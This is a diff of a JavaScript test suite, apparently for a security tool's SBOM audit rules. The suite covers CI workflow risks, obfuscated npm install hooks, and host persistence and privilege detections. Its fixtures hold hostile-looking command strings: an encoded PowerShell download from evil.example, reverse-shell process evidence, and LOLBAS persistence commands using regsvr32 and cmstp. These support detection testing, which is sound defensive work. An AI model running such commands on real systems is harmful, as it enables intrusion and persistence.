+      /3 rule\(s\) do not support dry-run, 1 rule\(s\) have partial dry-run support, 14 active rule\(s\) total/,
+    );
+  });
+
+  it("does not flag CI-006 for a safe content-addressed PR cache workflow", async () => {
+    const bom = makeBomFromWorkflowFixture("cache-pull-request.yml");
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      !findings.some((finding) => finding.ruleId === "CI-006"),
+      "safe PR cache workflow should not trigger CI-006",
+    );
+  });
+
+  it("flags CI-006 for a risky PR cache workflow", async () => {
+    const bom = makeBomFromWorkflowFixture("risk-cache-poisoning.yml");
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      findings.some((finding) => finding.ruleId === "CI-006"),
+      "risky PR cache workflow should trigger CI-006",
+    );
+  });
+
+  it("does not flag high-risk-trigger rules for a safe push workflow", async () => {
+    const bom = makeBomFromWorkflowFixture("trigger-safe-push.yml");
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      !findings.some((finding) =>
+        ["CI-004", "CI-008", "CI-013"].includes(finding.ruleId),
+      ),
+      "safe push workflow should not trigger high-risk-trigger rules",
+    );
+  });
+
+  it("preserves workflow_call producer metadata without triggering unrelated CI findings", async () => {
+    const bom = makeBomFromWorkflowFixture("workflow-call-producer-safe.yml");
+
+    const workflow = bom.formulation[0].workflows[0];
+    const workflowProps = workflow.properties || [];
+    assert.ok(
+      workflowProps.some(
+        (prop) =>
+          prop.name === "cdx:github:workflow:hasWorkflowCallTrigger" &&
+          prop.value === "true",
+      ),
+    );
+    assert.ok(
+      workflowProps.some(
+        (prop) =>
+          prop.name === "cdx:github:workflow:workflowCallInputs" &&
+          prop.value === "target",
+      ),
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      !findings.some((finding) => finding.ruleId === "CI-011"),
+      "producer-side reusable workflow metadata should not be confused with external reusable workflow invocation",
+    );
+    assert.ok(
+      !findings.some((finding) =>
+        ["CI-016", "CI-017"].includes(finding.ruleId),
+      ),
+      "safe workflow_call producer should not trigger privileged producer rules",
+    );
+  });
+
+  it("flags risky workflow_call producers with privileged producer rules", async () => {
+    const bom = makeBomFromWorkflowFixture("workflow-call-producer-risky.yml");
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      findings.some((finding) => finding.ruleId === "CI-016"),
+      "risky workflow_call producer should trigger CI-016",
+    );
+    assert.ok(
+      findings.some((finding) => finding.ruleId === "CI-017"),
+      "risky workflow_call producer should trigger CI-017",
+    );
+  });
+
+  it("flags workflow-dispatch chains in fork-reachable privileged workflows", async () => {
+    const bom = makeBomFromWorkflowFixture("dispatch-chain-fork-sensitive.yml");
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      findings.some((finding) => finding.ruleId === "CI-018"),
+      "fork-reachable dispatch chain should trigger CI-018",
+    );
+    assert.ok(
+      findings.some((finding) => finding.ruleId === "CI-019"),
+      "explicit fork-aware dispatch chain should trigger CI-019",
+    );
+  });
+
+  it("prefers local receiver workflow names in CI-019 findings when correlation exists", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((candidate) => candidate.id === "CI-019");
+    assert.ok(rule, "CI-019 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("dispatch-step", "1.0.0", [
+        ["cdx:github:step:dispatchesWorkflow", "true"],
+        ["cdx:github:step:referencesForkContext", "true"],
+        ["cdx:github:step:referencesSensitiveContext", "true"],
+        ["cdx:github:step:dispatchTargets", "workflow:release.yml"],
+        ["cdx:github:step:hasLocalDispatchReceiver", "true"],
+        ["cdx:github:step:dispatchReceiverWorkflowNames", "Release workflow"],
+        [
+          "cdx:github:step:dispatchReceiverWorkflowFiles",
+          ".github/workflows/release.yml",
+        ],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "CI-019 should match the correlated dispatch step",
+    );
+    assert.match(findings[0].message, /Release workflow/);
+    assert.doesNotMatch(findings[0].message, /workflow:release\.yml/);
+  });
+
+  it("flags obfuscated npm lifecycle hooks", async () => {
+    const bom = makeBom([
+      makeComponent("suspicious-pkg", "1.0.0", [
+        ["cdx:npm:hasInstallScript", "true"],
+        ["cdx:npm:hasObfuscatedLifecycleScript", "true"],
+        ["cdx:npm:obfuscatedLifecycleScripts", "postinstall"],
+        [
+          "cdx:npm:lifecycleObfuscationIndicators",
+          "ast:buffer-base64,long-base64-literal",
+        ],
+        ["cdx:npm:lifecycleExecutionIndicators", "ast:child-process"],
+      ]),
+    ]);
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "package-integrity",
+    });
+    assert.ok(
+      findings.some((finding) => finding.ruleId === "INT-009"),
+      "obfuscated lifecycle hooks should trigger INT-009",
+    );
+  });
+
+  it("does not flag CI-015 for low-signal outbound workflow steps", async () => {
+    const bom = makeBomFromWorkflowFixture(
+      "outbound-sensitive-context-low-signal.yml",
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      !findings.some((finding) => finding.ruleId === "CI-015"),
+      "low-signal outbound workflow should not trigger CI-015",
+    );
+  });
+
+  it("flags CI-021 for a high-risk workflow with implicit permissions and sensitive operations", async () => {
+    const bom = makeBomFromWorkflowFixture(
+      "heuristic-implicit-permissions-sensitive.yml",
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      findings.some((finding) => finding.ruleId === "CI-021"),
+      "implicit-permissions high-risk workflow should trigger CI-021",
+    );
+  });
+
+  it("does not flag CI-021 when the workflow declares an explicit permissions block", async () => {
+    const bom = makeBomFromWorkflowFixture(
+      "heuristic-explicit-permissions-sensitive.yml",
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "ci-permission",
+    });
+    assert.ok(
+      !findings.some((finding) => finding.ruleId === "CI-021"),
+      "explicit permissions block should suppress heuristic CI-021",
+    );
+  });
+});
+
+describe("formatAnnotations", () => {
+  it("should create CycloneDX annotations from findings", () => {
+    const bom = makeBom([]);
+    const findings = [
+      {
+        ruleId: "CI-001",
+        name: "Unpinned action",
+        severity: "high",
+        category: "ci-permission",
+        message: "Unpinned GitHub Action detected",
+        mitigation: "Pin to SHA",
+        attackTactics: ["TA0001", "TA0004"],
+        attackTechniques: ["T1195.001"],
+        standards: {
+          "owasp-ai-top-10": ["LLM07: Insecure Plugin Design"],
+          "nist-ai-rmf": ["Manage"],
+        },
+      },
+    ];
+    const annotations = formatAnnotations(findings, bom);
+    assert.strictEqual(annotations.length, 1);
+    assert.ok(
+      annotations[0].text.startsWith("Unpinned GitHub Action detected"),
+    );
+    assert.match(annotations[0].text, /\| Property \| Value \|/);
+    assert.match(annotations[0].text, /cdx:audit:attack:tactics/);
+    assert.match(annotations[0].text, /cdx:audit:attack:techniques/);
+    assert.match(annotations[0].text, /cdx:audit:standards:owasp-ai-top-10/);
+    assert.ok(
+      annotations[0].annotator.component,
+      "Annotation should have annotator component",
+    );
+    assert.ok(annotations[0].subjects.includes(bom.serialNumber));
+  });
+
+  it("should return empty array when cdxgen tool component is missing", () => {
+    const bom = {
+      serialNumber: "urn:uuid:test",
+      metadata: { tools: { components: [] } },
+      components: [],
+    };
+    const findings = [
+      {
+        ruleId: "CI-001",
+        severity: "high",
+        category: "ci-permission",
+        message: "test",
+      },
+    ];
+    const annotations = formatAnnotations(findings, bom);
+    assert.deepStrictEqual(annotations, []);
+  });
+
+  it("should return empty array when metadata.tools is undefined", () => {
+    const bom = {
+      serialNumber: "urn:uuid:test",
+      metadata: {},
+      components: [],
+    };
+    const annotations = formatAnnotations(
+      [{ ruleId: "X", severity: "low", category: "test", message: "test" }],
+      bom,
+    );
+    assert.deepStrictEqual(annotations, []);
+  });
+});
+
+describe("hasCriticalFindings", () => {
+  it("should return true when high severity findings exist", () => {
+    const findings = [{ severity: "high" }];
+    assert.ok(hasCriticalFindings(findings, {}));
+  });
+
+  it("should return false when only low severity findings exist", () => {
+    const findings = [{ severity: "low" }];
+    assert.ok(!hasCriticalFindings(findings, {}));
+  });
+
+  it("should use threshold semantics (at or above)", () => {
+    const findings = [{ severity: "high" }];
+    // medium threshold should catch high findings
+    assert.ok(
+      hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
+    );
+    // high threshold should catch high findings
+    assert.ok(hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
+    // critical threshold should NOT catch high findings
+    assert.ok(
+      !hasCriticalFindings(findings, { bomAuditFailSeverity: "critical" }),
     );
-    assert.strictEqual(findings[0].severity, "high");
   });
 
-  it("should detect unexpected privilege transition (OBOM-LNX-009)", async () => {
-    const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-LNX-009");
-    assert.ok(rule, "OBOM-LNX-009 rule should exist");
-
-    const bom = makeBom([
-      {
-        type: "application",
-        name: "packagekit-helper",
-        version: "2121",
-        description: "",
-        purl: "pkg:swid/packagekit-helper@2121",
-        "bom-ref": "pkg:swid/packagekit-helper@2121",
-        properties: [
-          { name: "cdx:osquery:category", value: "privilege_transitions" },
-          { name: "auid", value: "1000" },
-          { name: "uid", value: "1000" },
-          { name: "euid", value: "0" },
-          { name: "gid", value: "1000" },
-          { name: "egid", value: "0" },
-          { name: "login_user", value: "analyst" },
-          { name: "path", value: "/usr/libexec/packagekit-direct" },
-          {
-            name: "cmdline",
-            value: "/usr/libexec/packagekit-direct --repair",
-          },
-          { name: "parent_cmdline", value: "/bin/bash" },
-          { name: "package_source_hint", value: "unclassified-path" },
-        ],
-      },
-    ]);
-
-    const findings = await evaluateRule(rule, bom);
+  it("should respect custom fail severity for medium", () => {
+    const findings = [{ severity: "medium" }];
     assert.ok(
-      findings.length > 0,
-      "Should detect unexpected privilege transition",
+      hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
     );
-    assert.strictEqual(findings[0].severity, "high");
+    assert.ok(!hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
   });
 
-  it("should detect hidden suspicious Windows scheduled task (OBOM-WIN-004)", async () => {
-    const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-004");
-    assert.ok(rule, "OBOM-WIN-004 rule should exist");
-
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "WindowsUpdateTask",
-        version: "",
-        description: "",
-        purl: "pkg:swid/windows-task",
-        "bom-ref": "pkg:swid/windows-task",
-        properties: [
-          { name: "cdx:osquery:category", value: "scheduled_tasks" },
-          { name: "enabled", value: "1" },
-          { name: "hidden", value: "1" },
-          { name: "path", value: "C:\\Users\\Public\\Temp\\u.exe" },
-          {
-            name: "action",
-            value: "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA",
-          },
-        ],
-      },
-    ]);
-
-    const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect suspicious hidden task");
-    assert.strictEqual(findings[0].severity, "high");
+  it("should return false for empty findings", () => {
+    assert.ok(!hasCriticalFindings([], {}));
+    assert.ok(!hasCriticalFindings(null, {}));
   });
+});
 
-  it("should detect auto-start service in user-writable path (OBOM-WIN-005)", async () => {
+describe("additional OBOM and rootfs hardening rules", () => {
+  it("should detect reverse shell behavior (OBOM-LNX-014)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-005");
-    assert.ok(rule, "OBOM-WIN-005 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-LNX-014");
+    assert.ok(rule, "OBOM-LNX-014 rule should exist");
 
     const bom = makeBom([
       {
         type: "data",
-        name: "EvilAutoStartService",
-        version: "",
+        name: "bash",
+        version: "1234",
         description: "",
-        purl: "pkg:swid/windows-service-evil",
-        "bom-ref": "pkg:swid/windows-service-evil",
+        purl: "pkg:swid/bash@1234",
+        "bom-ref": "pkg:swid/bash@1234",
         properties: [
-          { name: "cdx:osquery:category", value: "services_snapshot" },
-          { name: "start_type", value: "AUTO_START" },
-          {
-            name: "path",
-            value:
-              "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\evil.exe",
-          },
+          { name: "cdx:osquery:category", value: "behavioral_reverse_shell" },
+          { name: "path", value: "/usr/bin/bash" },
+          { name: "cmdline", value: "bash -i" },
+          { name: "parent_cmdline", value: "python -c pty.spawn('bash')" },
+          { name: "remote_address", value: "203.0.113.10" },
+          { name: "remote_port", value: "4444" },
         ],
       },
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect auto-start service risk");
+    assert.ok(findings.length > 0, "Should detect reverse shell behavior");
     assert.strictEqual(findings[0].severity, "critical");
   });
 
-  it("should detect Windows persistence surfaces referencing LOLBAS (OBOM-WIN-006)", async () => {
-    const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-006");
-    assert.ok(rule, "OBOM-WIN-006 rule should exist");
-
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
-        version: "",
-        description: "powershell.exe -nop -w hidden -enc AAAA",
-        purl: "pkg:swid/windows-run-key-lolbas",
-        "bom-ref": "pkg:swid/windows-run-key-lolbas",
-        properties: [
-          { name: "cdx:osquery:category", value: "windows_run_keys" },
-          { name: "cdx:lolbas:matched", value: "true" },
-          { name: "cdx:lolbas:names", value: "powershell.exe" },
-          {
-            name: "cdx:lolbas:functions",
-            value: "command,download,script-execution,shell,upload",
-          },
-          { name: "cdx:lolbas:matchFields", value: "description" },
-        ],
-      },
-    ]);
-
-    const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect LOLBAS persistence surface");
-    assert.strictEqual(findings[0].severity, "high");
-  });
-
-  it("should detect WMI or AppCompat LOLBAS persistence (OBOM-WIN-007)", async () => {
+  it("should detect weak sysctl hardening posture (OBOM-LNX-017)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-007");
-    assert.ok(rule, "OBOM-WIN-007 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-LNX-017");
+    assert.ok(rule, "OBOM-LNX-017 rule should exist");
 
     const bom = makeBom([
-      {
-        type: "data",
-        name: "CommandLineEventConsumerBad",
-        version: "",
-        description: "",
-        purl: "pkg:swid/windows-wmi-lolbas",
-        "bom-ref": "pkg:swid/windows-wmi-lolbas",
-        properties: [
-          { name: "cdx:osquery:category", value: "wmi_cli_event_consumers" },
-          { name: "cdx:lolbas:matched", value: "true" },
-          { name: "cdx:lolbas:names", value: "regsvr32.exe" },
-          {
-            name: "cdx:lolbas:functions",
-            value: "library-load,proxy-execution,script-execution",
-          },
-          {
-            name: "command_line_template",
-            value: "regsvr32.exe /s scrobj.dll",
-          },
-        ],
-      },
+      makeComponent("kernel.randomize_va_space", "1", [
+        ["cdx:osquery:category", "sysctl_hardening"],
+      ]),
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect LOLBAS WMI persistence");
-    assert.strictEqual(findings[0].severity, "critical");
+    assert.ok(findings.length > 0, "Should detect weak sysctl posture");
+    assert.strictEqual(findings[0].severity, "medium");
   });
 
-  it("should detect network-capable LOLBAS in startup or process activity (OBOM-WIN-008)", async () => {
+  it("should detect weak temporary mount protections (OBOM-LNX-018)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-008");
-    assert.ok(rule, "OBOM-WIN-008 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-LNX-018");
+    assert.ok(rule, "OBOM-LNX-018 rule should exist");
 
     const bom = makeBom([
-      {
-        type: "data",
-        name: "SuspiciousPowerShell",
-        version: "",
-        description: "",
-        purl: "pkg:swid/windows-process-lolbas",
-        "bom-ref": "pkg:swid/windows-process-lolbas",
-        properties: [
-          { name: "cdx:osquery:category", value: "processes" },
-          { name: "cdx:lolbas:matched", value: "true" },
-          { name: "cdx:lolbas:names", value: "powershell.exe" },
-          {
-            name: "cdx:lolbas:functions",
-            value: "command,download,script-execution,shell,upload",
-          },
-          {
-            name: "cmdline",
-            value:
-              "powershell.exe -nop -w hidden -enc AAAA; iwr https://evil.example/a.ps1",
-          },
-        ],
-      },
+      makeComponent("/tmp", "rw,nosuid,nodev", [
+        ["cdx:osquery:category", "mount_hardening"],
+        ["type", "tmpfs"],
+      ]),
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect network-capable LOLBAS");
+    assert.ok(findings.length > 0, "Should detect missing noexec flag");
     assert.strictEqual(findings[0].severity, "high");
   });
 
-  it("should detect network-facing LOLBAS listeners (OBOM-WIN-009)", async () => {
+  it("should detect GTFOBins-linked privileged runtime activity (OBOM-LNX-019)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-009");
-    assert.ok(rule, "OBOM-WIN-009 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-LNX-019");
+    assert.ok(rule, "OBOM-LNX-019 rule should exist");
 
     const bom = makeBom([
-      {
-        type: "application",
-        name: "powershell.exe",
-        version: "9001",
-        description: "",
-        purl: "pkg:swid/powershell.exe@9001",
-        "bom-ref": "pkg:swid/powershell.exe@9001",
-        properties: [
-          { name: "cdx:osquery:category", value: "listening_ports" },
-          { name: "cdx:lolbas:matched", value: "true" },
-          { name: "cdx:lolbas:names", value: "powershell.exe" },
-          {
-            name: "cdx:lolbas:functions",
-            value: "command,download,script-execution,shell,upload",
-          },
-          { name: "address", value: "0.0.0.0" },
-          { name: "port", value: "9001" },
-          {
-            name: "cmdline",
-            value: "powershell.exe -nop -w hidden -enc AAAA",
-          },
-        ],
-      },
+      makeComponent("bash", "", [
+        ["cdx:osquery:category", "sudo_executions"],
+        ["cdx:gtfobins:matched", "true"],
+        ["cdx:gtfobins:names", "bash"],
+        ["cdx:gtfobins:functions", "shell,command"],
+        ["cdx:gtfobins:contexts", "sudo,suid"],
+        ["cdx:gtfobins:riskTags", "lateral-movement,privilege-escalation"],
+        ["path", "/usr/bin/bash"],
+        ["cmdline", "bash -c id"],
+      ]),
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect network-facing LOLBAS");
-    assert.strictEqual(findings[0].severity, "critical");
+    assert.ok(
+      findings.length > 0,
+      "Should detect GTFOBins helper in privileged runtime context",
+    );
+    assert.strictEqual(findings[0].severity, "high");
   });
 
-  it("should detect UAC-bypass-capable LOLBAS persistence (OBOM-WIN-010)", async () => {
+  it("should ignore elevated root processes without suspicious path evidence (OBOM-LNX-010)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-WIN-010");
-    assert.ok(rule, "OBOM-WIN-010 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-LNX-010");
+    assert.ok(rule, "OBOM-LNX-010 rule should exist");
 
     const bom = makeBom([
-      {
-        type: "data",
-        name: "BadTask",
-        version: "",
-        description: "",
-        purl: "pkg:swid/windows-task-uac-lolbas",
-        "bom-ref": "pkg:swid/windows-task-uac-lolbas",
-        properties: [
-          { name: "cdx:osquery:category", value: "scheduled_tasks" },
-          { name: "cdx:lolbas:matched", value: "true" },
-          { name: "cdx:lolbas:names", value: "cmstp.exe" },
-          { name: "cdx:lolbas:contexts", value: "admin,uac-bypass,user" },
-          { name: "action", value: "cmstp.exe /s payload.inf" },
-        ],
-      },
+      makeComponent("agetty", "1063", [
+        ["cdx:osquery:category", "elevated_processes"],
+        ["uid", "0"],
+        ["package_source_hint", "unclassified-path"],
+        ["cmdline", "/sbin/agetty -o -p -- \\u --noclear - linux"],
+      ]),
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(findings.length > 0, "Should detect UAC-bypass LOLBAS");
-    assert.strictEqual(findings[0].severity, "critical");
-  });
-
-  it("should detect launchd override disabling Apple service (OBOM-MAC-004)", async () => {
-    const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-MAC-004");
-    assert.ok(rule, "OBOM-MAC-004 rule should exist");
-
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "com.apple.some-security-service",
-        version: "",
-        description: "",
-        purl: "pkg:swid/launchd-override",
-        "bom-ref": "pkg:swid/launchd-override",
-        properties: [
-          { name: "cdx:osquery:category", value: "launchd_overrides" },
-          { name: "label", value: "com.apple.some-security-service" },
-          { name: "key", value: "Disabled" },
-          { name: "value", value: "1" },
-          { name: "uid", value: "0" },
-        ],
-      },
+    assert.strictEqual(
+      findings.length,
+      0,
+      "Should ignore root processes that lack concrete suspicious path evidence",
+    );
+  });
+
+  it("should detect elevated root processes from user-controlled command paths (OBOM-LNX-010)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-010");
+    assert.ok(rule, "OBOM-LNX-010 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("evil-root-job", "1", [
+        ["cdx:osquery:category", "elevated_processes"],
+        ["uid", "0"],
+        ["package_source_hint", "user-writable-path"],
+        ["cmdline", "/home/demo/.local/bin/evil-root-job --daemon"],
+      ]),
     ]);
 
     const findings = await evaluateRule(rule, bom);
     assert.ok(
       findings.length > 0,
-      "Should detect disabled Apple launchd label",
+      "Should detect root processes sourced from user-controlled command paths",
     );
-    assert.strictEqual(findings[0].severity, "medium");
+    assert.match(findings[0].message, /evil-root-job/);
   });
-});
 
-describe("evaluateRules", () => {
-  it("should sort findings by severity (high before medium before low)", async () => {
+  it("should ignore routine elevated GTFOBins services without suspicious path evidence (OBOM-LNX-019)", async () => {
     const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-019");
+    assert.ok(rule, "OBOM-LNX-019 rule should exist");
+
     const bom = makeBom([
-      makeComponent("actions/checkout", "v3", [
-        ["cdx:github:action:isShaPinned", "false"],
-        ["cdx:github:workflow:hasWritePermissions", "true"],
-        ["cdx:github:action:uses", "actions/checkout@v3"],
-        ["cdx:github:action:versionPinningType", "tag"],
-      ]),
-      makeComponent("deprecated-go-mod", "1.0.0", [
-        ["cdx:go:deprecated", "use other-module instead"],
+      makeComponent("fail2ban-server", "1", [
+        ["cdx:osquery:category", "elevated_processes"],
+        ["cdx:gtfobins:matched", "true"],
+        ["cdx:gtfobins:names", "python"],
+        ["cdx:gtfobins:functions", "shell,reverse-shell"],
+        ["cdx:gtfobins:contexts", "sudo,suid,unprivileged"],
+        ["package_source_hint", "unclassified-path"],
+        ["cmdline", "/usr/bin/python3 /usr/bin/fail2ban-server -xf start"],
       ]),
     ]);
 
-    const findings = await evaluateRules(rules, bom);
-    if (findings.length >= 2) {
-      const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
-      for (let i = 1; i < findings.length; i++) {
-        const prev = severityOrder[findings[i - 1].severity] ?? 4;
-        const curr = severityOrder[findings[i].severity] ?? 4;
-        assert.ok(
-          prev <= curr,
-          `Finding ${i - 1} severity (${findings[i - 1].severity}) should be >= severity of finding ${i} (${findings[i].severity})`,
-        );
-      }
-    }
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(
+      findings.length,
+      0,
+      "Should ignore routine elevated GTFOBins matches without suspicious path context",
+    );
   });
-});
 
-describe("auditBom", () => {
-  it("should run audit and return findings", async () => {
+  it("should detect APT sources that still use plaintext HTTP transport (OBOM-LNX-021)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-021");
+    assert.ok(rule, "OBOM-LNX-021 rule should exist");
+
     const bom = makeBom([
-      makeComponent("actions/setup-node", "v3", [
-        ["cdx:github:action:isShaPinned", "false"],
-        ["cdx:github:workflow:hasWritePermissions", "true"],
-        ["cdx:github:action:uses", "actions/setup-node@v3"],
-        ["cdx:github:action:versionPinningType", "tag"],
+      makeComponent("gb.archive.ubuntu.com/ubuntu+noble", "24.04", [
+        ["cdx:osquery:category", "apt_sources"],
+        ["base_uri", "http://gb.archive.ubuntu.com/ubuntu"],
+        ["components", "main restricted universe multiverse"],
+        ["maintainer", "Ubuntu"],
+        ["release", "noble"],
+        ["source", "/etc/apt/sources.list.d/ubuntu.sources"],
       ]),
     ]);
 
-    const findings = await auditBom(bom, {});
-    assert.ok(findings.length > 0, "Should find at least one issue");
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should flag HTTP-backed APT sources");
+    assert.strictEqual(findings[0].severity, "medium");
+    assert.match(findings[0].message, /plaintext HTTP transport/);
   });
 
-  it("should return empty array for null bom", async () => {
-    const findings = await auditBom(null, {});
-    assert.deepStrictEqual(findings, []);
-  });
+  it("should detect authorized_keys entries that still use ssh-rsa (OBOM-LNX-022)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-022");
+    assert.ok(rule, "OBOM-LNX-022 rule should exist");
 
-  it("should filter by category", async () => {
     const bom = makeBom([
-      makeComponent("actions/setup-node", "v3", [
-        ["cdx:github:action:isShaPinned", "false"],
-        ["cdx:github:workflow:hasWritePermissions", "true"],
-        ["cdx:github:action:uses", "actions/setup-node@v3"],
-        ["cdx:github:action:versionPinningType", "tag"],
-      ]),
-      makeComponent("sketchy-pkg", "1.0.0", [
-        ["cdx:npm:hasInstallScript", "true"],
-        ["cdx:npm:isRegistryDependency", "false"],
+      makeComponent("appthreat", "ssh-rsa", [
+        ["cdx:osquery:category", "authorized_keys_snapshot"],
+        ["key_file", "/home/appthreat/.ssh/authorized_keys"],
+        ["uid", "1000"],
       ]),
     ]);
 
-    const ciOnly = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
-    for (const f of ciOnly) {
-      assert.strictEqual(f.category, "ci-permission");
-    }
-  });
-
-  it("expands the ai-inventory category alias", async () => {
-    const bom = makeBom(
-      [],
-      [],
-      [
-        {
-          type: "application",
-          name: "agent-guide",
-          version: "latest",
-          "bom-ref": "file:/repo/AGENTS.md",
-          properties: [
-            { name: "SrcFile", value: "/repo/AGENTS.md" },
-            { name: "cdx:agent:inventorySource", value: "agent-file" },
-            { name: "cdx:file:kind", value: "agent-instructions" },
-            {
-              name: "cdx:agent:hasNonOfficialMcpReference",
-              value: "true",
-            },
-            { name: "cdx:agent:mcpPackageRefs", value: "@acme/mcp-server" },
-          ],
-        },
-      ],
-      [
-        {
-          "bom-ref": "urn:service:mcp:demo:1",
-          group: "mcp",
-          name: "demo-server",
-          authenticated: false,
-          endpoints: ["https://mcp.example.com/mcp"],
-          properties: [
-            { name: "cdx:mcp:transport", value: "streamable-http" },
-            { name: "cdx:mcp:serviceType", value: "inferred-endpoint" },
-            { name: "cdx:mcp:inventorySource", value: "agent-file" },
-            { name: "cdx:mcp:toolCount", value: "1" },
-            { name: "cdx:mcp:officialSdk", value: "false" },
-          ],
-        },
-      ],
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should flag deprecated ssh-rsa authorized_keys entries",
     );
-
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ai-inventory",
-    });
-    assert.ok(findings.some((finding) => finding.category === "ai-agent"));
-    assert.ok(findings.some((finding) => finding.category === "mcp-server"));
+    assert.strictEqual(findings[0].severity, "medium");
+    assert.match(findings[0].message, /deprecated ssh-rsa/);
   });
 
-  it("rejects unknown audit categories with valid choices", async () => {
-    await assert.rejects(
-      auditBom(makeBom([]), {
-        bomAuditCategories: "unknown-category",
-      }),
-      /Unknown BOM audit category: unknown-category\. Valid categories: .*ai-inventory \(alias for ai-agent,mcp-server\).*ci-permission.*mcp-server/,
-    );
-  });
+  it("should classify managed privileged listeners as medium exposure review (OBOM-LNX-006)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-006");
+    assert.ok(rule, "OBOM-LNX-006 rule should exist");
 
-  it("should filter by minimum severity", async () => {
     const bom = makeBom([
-      makeComponent("actions/setup-node", "v3", [
-        ["cdx:github:action:isShaPinned", "false"],
-        ["cdx:github:workflow:hasWritePermissions", "true"],
-        ["cdx:github:action:uses", "actions/setup-node@v3"],
-        ["cdx:github:action:versionPinningType", "tag"],
+      makeComponent("nginx", "", [
+        ["cdx:osquery:category", "privileged_listening_ports"],
+        ["address", "0.0.0.0"],
+        ["port", "443"],
+        ["path", "/usr/sbin/nginx"],
+        ["account", "root"],
+        ["package_source_hint", "package-managed"],
       ]),
     ]);
 
-    const highOnly = await auditBom(bom, {
-      bomAuditMinSeverity: "high",
-    });
-    for (const f of highOnly) {
-      assert.strictEqual(f.severity, "high");
-    }
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should flag non-local privileged listener");
+    assert.strictEqual(findings[0].severity, "medium");
+    assert.match(findings[0].message, /\/usr\/sbin\/nginx/);
   });
 
-  it("does not flag CI-006 for a safe content-addressed PR cache workflow", async () => {
-    const bom = makeBomFromWorkflowFixture("cache-pull-request.yml");
+  it("should keep writable-path privileged listeners as high-signal findings (OBOM-LNX-020)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-020");
+    assert.ok(rule, "OBOM-LNX-020 rule should exist");
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
+    const bom = makeBom([
+      makeComponent("evil-listener", "", [
+        ["cdx:osquery:category", "privileged_listening_ports"],
+        ["address", "0.0.0.0"],
+        ["port", "8443"],
